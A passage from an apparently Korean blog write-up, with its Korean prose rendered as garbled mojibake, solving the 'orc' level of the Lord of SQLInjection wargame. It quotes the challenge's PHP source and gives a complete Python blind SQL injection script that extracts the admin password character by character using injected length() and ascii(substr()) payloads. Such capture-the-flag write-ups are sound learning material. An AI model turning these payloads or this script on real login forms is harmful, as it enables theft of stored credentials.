Write Up
์ ๋ฌธ์ ๋ค์ query๋ฌธ๊ณผ ํด๋น ์์ค์ฝ๋๋ฅผ ์๋ ค์ค๋๋ค.
์ด๋ฅผ ์ด์ฉํ์ฌ solve() ํจ์๋ฅผ ์คํ์ํค๋ฉด ๋ฌธ์ ๊ฐ ํ๋ฆฌ๋ ํ์์
๋๋ค.
์์ค ์ฝ๋ ๋ถ์
#Query_1 query execute
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello admin</h2>";
#Query_2 pw checking
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
์์ ๊ฐ์ ๋ถ๋ถ์ Query2์์ ๋ณผ ์ ์๋ฏ์ด PW๋ฅผ ์ง์ ํ์ธํ๊ธฐ์ ๊ทธ๋ฅ ์ฐํ๋ ์๋๊ฒ ์ฃ
์ด์ ๊ฐ์ด ๋น๋ฒ์ ๋ชจ๋ฅด๋ ๊ฒฝ์ฐ์ ๋จํธ์ ์ธ ์ ๋ณด๋ก PW๋ฅผ ๊ตฌํ๋ ๋ฐฉ์์ด ๋ฐ๋ก..
Blind SQL Injection์ด๋ผ๊ณ ํฉ๋๋ค.!
์ฝ๋์์๋ ๋ฑํ ์์ด๋ณด์ด๋ค์.. ์ฐํํ๊ธฐ์๋.. ๊ทธ๋ฌ๊ธฐ์ ์ง์ ์ฐพ๊ณ ์์๋ด ์๋ค!
์๋ค์ ์ก
addslashes()์ ๊ฐ์ ๊ฒฝ์ฐ๋ ' ๋ฌธ๊ตฌ ๊ฐ์ ๊ฒฝ์ฐ์ ์ค๋ฅ๋ฅผ ์ทจํ ์ ์๋ ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ๊ธฐ ์ํ ํจ์๋ผ๊ณ ํฉ๋๋ค. ์ด์ค์ผ์ดํ(escape)๋ฅผ ํ๊ธฐ ์ํ PHP์ ํจ์๋ผ๊ณ ์๊ฐํ์๋ฉด ๋ฉ๋๋ค.
Soultion
Where์ ์ฃผ์(์ฐํ)
ํด๋น ๋ถ๋ถ์ GET๋ฐฉ์์ผ๋ก ์ป๊ธฐ์ URL์ ์ ๋ ฅ์ ํ์ฌ SQL๋ฌธ์ ๋์ํฉ๋๋ค.
Blind SQL Injection์ด๊ธฐ์ ์ฝ๋๋ฅผ ์์ฑํ๊ฑฐ๋ ํด์ ์ฌ์ฉํ๋ ๋ฐฉ๋ฒ๋ฐ์ ์๊ฒ ๊ตฐ
ํด ์ฌ์ฉ์ ํ ๋ ค๊ณ ํ์ผ๋.. ํด๋น ๋ต์ ์ฐพ๋๊ฒ ์๋๋ผ DB ์์ฒด๋ฅผ ๊ณต๊ฒฉํ๋ ๋ด์ฉ์ด๋ผ์..
์ ์ฌ์ดํธ ์ด์ฉ์ ๊ดํ ์ฌ์ฉ์ ์ง์ฅ์ ์ค ์ ์๊ธฐ๋ ํ๊ณ ๋งํ์๋ ๋ถ๋ถ๋ ์์ด์
์ฝ๋๋ก๋ง ํ๋๋ก ํ๊ฒ ์ต๋๋ค(ํด ์ฌ์ฉํ๋ค๊ฐ ์๊ฒ๋ ๋ถ๋ถ์ด๊ธด ํ๋ฐ..)
Exploit Code
#!/usr/bin/python
import requests
from pwn import *
import sys
# Argument check (Cookie)
if len(sys.argv) != 2:
print(sys.argv[0] + " [PHPSESSID Cookie]")
url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
header = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36' }
cookie = { 'PHPSESSID' : str(sys.argv[1]) }
payload = ''
def chk_pw_len():
for i in range(16):
payload = url
payload += "?pw='or id='admin' and length(pw)="
payload += str(i)
payload += "%23"
res = requests.get(payload, headers=header, cookies=cookie)
log.info("Payload : %s" % str(payload))
log.info("Len : %s" % str(i))
if "Hello admin" in res.text:
log.success("Len : %s" % str(i))
return i
def pw_leak(url, pw_len):
pw = ''
for i in range(1, int(pw_len)+1):
for j in range(0x2f, 0x7b):
payload = url
payload += "?pw='or id='admin' and ascii(substr(pw,"
payload += str(i)
payload += ",1))="
payload += str(j)
payload += "%23"
res = requests.get(payload, headers=header, cookies=cookie)
log.info("Payload : %s" % str(payload))
if '<h2>Hello admin</h2>' in res.text:
log.info("Password[%s] => %s" % (str(i), chr(j)))
pw += chr(j)
break
log.success("Password : %s" % str(pw))
if __name__ in '__main__':
print(url)
pw_leak(url, chk_pw_len())
์ ๊ฐ ์์ฑํ ์ฝ๋๊ฐ ๊ณ์ ์๋์.. ์์ธ์ง๋ ์ ๋ชจ๋ฅด๊ฒ ๋๋ฐ ใ
ใ
๊ทธ๋ฌ๊ธฐ์ ์ข
ํ์ค์ด ์๋ ค์ฃผ์ ์ฝ๋๋ฅผ ์ฌ๊ธฐ์ ์ฌ๋ ค๋ด
๋๋ค.
Python์ ์ด๋์ ๋ ํ์ จ๊ณ ์น ๋ณด์์ ํ์ จ๋ค๋ฉด ์ด์ ๋๋ ๊ธ๋ฐฉ ์ดํดํ ์ ์์ฃ ?
์์ ๋งํฌ๋ฅผ ํตํด ์ดํดํ์๋ฉด ๋๋ฉฐ, ์ผ๋ถ๋ก ์ ์๋์ด ์ฌ์ด ์ฝ๋๋ฅผ ์์ฑํ์
จ๊ธฐ์
๊ธ๋ฐฉ ์ดํด๊ฐ ๋๊ฒ ์ฃ ?(์ฐธ๊ณ ๋ก pwn์ System์์ ์ฌ์ฉํ๋ ํ์ด์ฌ ๋ชจ๋์ด๊ธด ํ๋ฐ)
์ ์ฝ๋์ ๊ถ๊ธํ ์ ์ด ์๋ค๋ฉด ๋ฌผ์ด๋ด์ฃผ์ธ์
์ฌ๊ธฐ์ ๋น์ฐํ Cookie๊ฐ์ ์ธ์์ ๋ฃ์ด์ฃผ์๋ฉด ๋ฉ๋๋ค.
์ฐธ๊ณ ์๋ฃ
์ฐธ๊ณ ์ด๋ฏธ์ง
'๐โWeb_Study > ๐ โLord_of_SQLInjection' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[LORD OF SQLINJECTION] goblin (0) | 2023.05.12 |
---|---|
[LORD OF SQLINJECTION] cobolt (0) | 2023.05.12 |
[LORD OF SQLINJECTION]gremlin (0) | 2023.04.29 |